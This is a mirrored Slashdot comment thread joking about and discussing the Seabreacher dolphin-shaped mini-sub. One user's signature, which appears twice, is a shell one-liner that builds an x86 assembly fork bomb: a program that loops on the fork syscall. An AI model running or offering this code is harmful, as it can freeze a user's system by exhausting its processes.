Slashdot Mirror
Dolphin Inspired Mini-sub
What do you get the millionaire in your life who has everything? How about the Seabreacher mini-sub. Described as a dolphin-inspired cross between a jet ski and a submarine, the Seabreacher has a top speed of 45mph above the waves and 20mph below them. The two-man £30,000 craft is 15' long and its design makes it self-righting. Strangely, this doesn't come with a laser package.
The words: "Ouch, my spine." come to mind, though the follow up of "Don't worry, it doesn't hurt any more" are probably more worrying.
I'm gonna need a spec.
I thought dolphins came with explosive charges?
Lars T.
To the guy who modded me down from perfect to terrible Karma - Apple haters still suck
I'm waiting for the budget 'sea bass' version to come out. I think £30,000 is a bit steep for me.
It might have had a lasers package if it's design was inspired by a shark...
Seems odd that they don't use an electric motor to avoid the problem of having to get air into the engine.
That looks like fun...
How exciting...
Much closer to a jet ski than to a sub... Another expensive and useless toy.
Those guys supposedly make proper mini subs (or real ones, although apparently nobody has taken them up on it).
May contain traces of nut.
Made from the freshest electrons.
So the snorkel provides air for the engine... what about the two people in the seats? Ahh... engine exhaust has some oxygen in it right?
What do you get the millionaire in your life who has everything?
Nothing like this. They would play with it a couple of times and then, I don't know.
It just so happens I have a couple of millionaires (self made) in my family. They're not into these very expensive luxury toys. They don't spend money on shit - especially over priced shit: cars, boats, Rolex Watches , etc...
One of them is really into bicycling and he does buy high quality equipment - used.
The other, she does spurge on here horses, but she actually competes in her retirement.
These types of toys are for the high salaried folks who still end up living paycheck to paycheck because they're spending all of their money on crap like this (doctors, lawyers, corporate business execs, star athletes etc...). "The Millionaire Next Door" explains much better. And yeah, those family members of mine, at lest one, are right out of that book.
Yep, thought so too. Anyone thinking Lucas Wolenczak or Darwin here?
Air is provided for the engine through a snorkel... and what about air for the people up front? Ahhh... exhaust gasses might work...
"It can do 20mph below the water. If you go below snorkel depth you run out of air for the engine and you stay under for 20 seconds before the craft will automatically surface. But with the snorkel system in use you can stay under for longer."
FTA:
"It can do 20mph below the water. If you go below snorkel depth you run out of air for the engine and you stay under for 20 seconds before the craft will automatically surface. But with the snorkel system in use you can stay under for longer."
"I have downloaded hundreds and hundreds of records, why would I care if somebody downloads ours?" Robin Pecknold
Oh please oh please oh please... I promise I will clean my room and go to bed on time every day!
How many more years will slashdot have an off-by-one error on your Score in your profile?
Fun toy, with lots of power (Must be great for racing with real dolphins :-)
More details:
http://innespace.com/current%20projects.html
http://www.seabreacher.com/ (With movie...)
As if we didn't have enough problems in this world without the idle rich finding new and innovative ways to waste time and money.
Dude, I just used my 20mbps home internet over my Wifi on my XPS laptop to reply to you while I was surfing the web for the first time with the new Chrome browser, and I didn't even read TFA in the post. Umm wait, what was my point?
--M
# grep slashdot access.log | grep html | sort | uniq | wc -l 2604
Not much of a sub, it sounds like. TFA doesn't mention anything about how deep it can go.
-jcr
The only title of honor that a tyrant can grant is "Enemy of the State."
are you kidding me ? riding a dolphin is what life is all about.
When Geiger counters are outlawed, only mutants will have Geiger counters
Millionaire? This thing cost less than most modern Bass boats, decently equipped pontoons, and less than half what a common cruiser will run you. More than your average Seadoo PWC, but most people who buy them get at least two if not three or four (depending on wealth and the number of kids they have).
Then again, perhaps the millionaire aspect comes into play when it comes time to find someone to repair the craft, as anyone who spends a few hours on the water every week will tell you, anything boat/pwc related has a tendency to demonstrate it's willingness to break down in the worst possible ways at the worst possible times. It's almost as powerful enough of a force, I am beginning to suspect Murphy has a whole set of laws being enforced upon anyone who takes up marine recreation. Anyway, even the millionaires I've met who are into marine craft already know all this and still try to shop for designs which have been around for a few years and closer to the "proven technology" badge instead of pissing away money on completely new designs bound to have many flaws-- that's why they are millionaires and not scratching lottery tickets.
I'd also not really want to run that thing in most US waterways. More than once, I've cracked gel coats on thick fiberglass hulls ramming into surface debris at speeds below 50mph. The last thing I would want is to be sitting behind some plastic windshield and have a pointy chunk of tree collide with it at any speed. Not to mention the stump mazes just a few feet under many managed waterways. It'd be cool in some place like the Bahamas, though.
Tintin had this decades ago! ;) :)
http://www.sur-la-toile.com/images/articles/ben_1113361162.jpg
Once again Herge was visionary
...on a waverunner.
"When information is power, privacy is freedom" - Jah-Wren Ryel
My guess, reading between the lines and looking at the picture, is that the entire vessel is buoyant, and only stays submerged by moving forward and using its control surfaces to counteract its buoyancy. That would make this thing a "submarine" in the same way that a snorkeler is a "marine mammal": perhaps technically defensibly so, but not really what people mean. In any case, if that is true, then when the engine stalls, the vessel will simply float to the surface.
That's how I'd design something like this.
Making a "real" submarine takes a lot of engineering expertise. You can cheat any number of ways to make something sort of like a submarine. You can make a "wet" submarine, and avoid having to deal with a pressure hull. Unfortunately, that experience lacks something of the Captain Nemo drawing room atmosphere (namely the "atmospheric" part). Making a bouyant submarine that stays submerged using its control surfaces means you don't worry about ballast systems, and have a system that is intrinsically safer than one that requires pumping air and water around. But it means you can't go to deep, and you can't stop and admire the scenery.
Post may contain irony: discontinue use if experiencing mood swings, nausea or elevated blood pressure.
Sure its for recreation but you could travel in it and you wouldn't get as wet as a jetski which seem to be pretty popular even though they're little more than a leisure vehicle. And unless that mini sub can do 20mph under the water (year right) it won't anything like as much of a buzz as this machine.
Go find out what russian oligarchs spend their money on.
At least I could install the frickin' laser myself.
Task Mangler
There is a glitch...
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
...in the matrix
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The SEALs are always looking for new ways of infiltrating by sea. I wonder if a suped up version of this wouldn't be able to make a fast approach but also mimic the motion of a dolphin (or whale) enough to throw off a countries' various defenses. A two-person sub should be able to carry one SEAL and his gear, without having to worry about the freezing water temp, dive weights, oxygen tanks, etc. And, of course, they would have to mount fricken lasers.
Tic-Tac-Toe, Global Thermonuclear War, and relationships all have the same winning move.
My boring mate thinks this is a dull-fing...he can't see any porpoise to it at all!
Smivs on the intertubes!
This was my first thought : http://blogues.cyberpresse.ca/technaute/dumais/wp-content/uploads/2007/07/illustration2007071204.jpg
The Wise adapts himself to the world. The Fool adapts the world to himself. Therefore, all progress depends on the Fool.
So what's so new and revolutionary about this? The Wesley (Lucas Wolenczak) on seaQuest DSV made one just like this. Old news....
Beware of Sales Reps bearing gifts.
This has been seen on Discovery channel repeats for at least two years. Still cool though.
Maybe this will show up in the next James Bond movie?
So long and thanks for all the fish...
Dr. Evil: You know, I have one simple request. And that is to have sharks with frickin' laser beams attached to their heads! Now evidently my cycloptic colleague informs me that that cannot be done. Ah, would you remind me what I pay you people for, honestly? Throw me a bone here! What do we have? Number Two: Sea Bass. Dr. Evil: [pause] Right. Number Two: They're mutated sea bass. Dr. Evil: Are they ill tempered? Number Two: Absolutely. Dr. Evil: Oh well, that's a start.
Go go Gadget Nailgun!
This reminds me of the show SeaQuest on SciFi. The only thing that's really different is that the mini-subs they had were much faster and the initial ones were single seaters. It's closer to the one that they competition to Lucas has than the one he was making however.
The Seabreacher has a top speed of 39.1 knots above the waves and 17.4 knots below them. There fixed that for ya.
Go to 'Help and Preferences' at the top left of the main page, then where it says 'Your preferences' (right hand side), go to 'Sections'. There you can set what sections you want displayed and what priority you want them to have. The first option (crossed through circle) will remove a section completely. Hope this helps, Smivs.
Smivs on the intertubes!
Because we can all think of how to spend a million, but the rich ones only think of how to make a million.
But can you make a Beowulf cluster?
I saw this thing in a Hammacher Schlemmer catalog like 10 years ago! Surely there is more impressive tech to cover, even in Idle, than this.
PM
We're gonna need a bigger dolphin.
There are no loopholes. It's either legal or it's not.
rj
This is so old the dolphin has died of arthritis: http://fast-world.com/index.php/Interesting/Dolphin-Submarine.html
Why not show a few newer pictures: http://www.bionicdolphin.com/cms/
http://www.gizmag.com/go/4095/
Jeez, compared to the news this part of Slashdot is even more outrageous.
This was actually on an episode of Modern Marvels (or similiar) quite a while back (some multi-subject episode). Very interesting to see how it worked (a lot like a jet ski) and how it handled.
Bullshit
How come in the photo there are no ripples from where it has breached?
I am Bennett Haselton! I am Bennett Haselton!
...it also lacks opposable thumbs.
My other sig is extremely clever...
You lose oxygen for that bag of meat you stinky humans call a body.
So stay out of the water. I like having power.
[Whu? Plug my ear piece back in. Why?]
Small user problem. Be Right Back.
From the SeaQuest episode: Stinger
I guess maybe that show did make a single contribution to mankind........
Nah...
I remember something like this shown on "Beyond 2000", back in the late 1990s.
If you look at the photo closely I think you can see the couple in the craft actually making out.
Just keep an eye out for tuna fishing nets or six-pack rings.
Dolphins can use the same ploy against *US*!
Be wary, and think twice about the strangers you see, for a dolphin can be "surfing" on land with its new man-mobile.
Yes, dolphins, too, have an upper class who indulges on this kind of thing.
Assuming he doesn't secretly build a PVC and duct tape weaponized exosuit and escape, kicking your ass in the process.
And in case you think it can't be done:
http://www.youtube.com/watch?v=E1f4zrYzDz8
"When information is power, privacy is freedom" - Jah-Wren Ryel
Nope; they're armed with hollow needles and CO2 bottles, and with toxic dart guns.
Rumors have persisted since the mid-seventies that the U.S. Navy used dolphins to kill enemy divers during the Vietnam war. Allegedly, when an approaching diver was detected by a patrolling dolphin, it would swim back to an equipment barge where it would arm itself with a large hollow needle and compressed CO2 bottle, both integrated into a cup which fitted snugly over the dolphin's beak. Then it would simply impale the unfortunate bastard in the torso and watch him float to the surface with his stomach hanging out of his mouth. Apparently, someone got the idea from the CO2 harpoons divers used to protect themselves from sharks.
Supposedly the project was shelved because the age-old military problem of IFF (Identification Friend or Foe) was insurmountable. Simply put, the dolphins were unable to distinguish between friendly and enemy divers and killed a number of U.S. Navy personnel.
The modern spin on this is the allegation that these dolphins are now controlled with "electrodes planted under the skin" and are armed with anaesthetic dartguns, the idea being to capture the enemy alive for interrogation. It was even reported that the Navy lost some of these dolphins from a training facility near Lake Pontchartrain during Hurricane Katrina.
I wonder how this cute little sub fares against the Orca, Great White, and Giant Squid mini-subs?
Exactly what I was thinking... I'm sure I saw this on TV a couple of years ago. You can dive underwater which allows you to do the 'dolphin jump' tricks, but can't stay submerged for long, because the cockpit only has a limited air supply. You can also barrel-roll this baby, which looks cool.
I believe they took the idea from Sea Quest.
...otherwise it would sink to the bottom and stay there.
until an actual dolphin tries to mate with you. Then you'll just have to break it's poor heart.
If it floats, fucks, or flies, rent don't buy. My guess this thing does all three depending on at what angle the first unsuspecting swimmer is struck by it.
No, it's a safety feature. They want to sell them as recreational watercraft. The 20 second limit and positive buoyancy ensures that flaky vacationers won't accidentally descend below crush depth, or run out of cabin oxygen.
Can you be Even More Awesome?!
... before some rich joker decides to have a look at the underside of a USN Carrier Battle Group - and gets depth-charged?
I have been a user for about 10 years. This ends Feb 2014. The site's been ruined. I'm off. Dice, FU
There's demo video at youtube. It looks to me like a cross between a jetski and a hydrofoil, with control surfaces. In either case, I'm sort of surprised the pilotes are not wearing beefy life preservers. Probably helmets would be a good idea as well. And I'm not keen on the idea of tooling around with the canopy open as seen in the video, because the low gunwales looks like an accidental swamping about to happen with an accidental twitch of the controls. If you can avoid baking in the greenhouse, it looks like fun. -dB
"It if was easy to do, we'd find someone cheaper than you to do it."
Check this one out. Definitely not as fast, but better for the environment: www.subhumanproject.com www.lunocet.com
An american company builds a watercraft designed by a californian and sold in the states via a quote from one of 2 sales reps with american numbers... Why is the price in franks?
Modding me -1 troll doesn't make me wrong.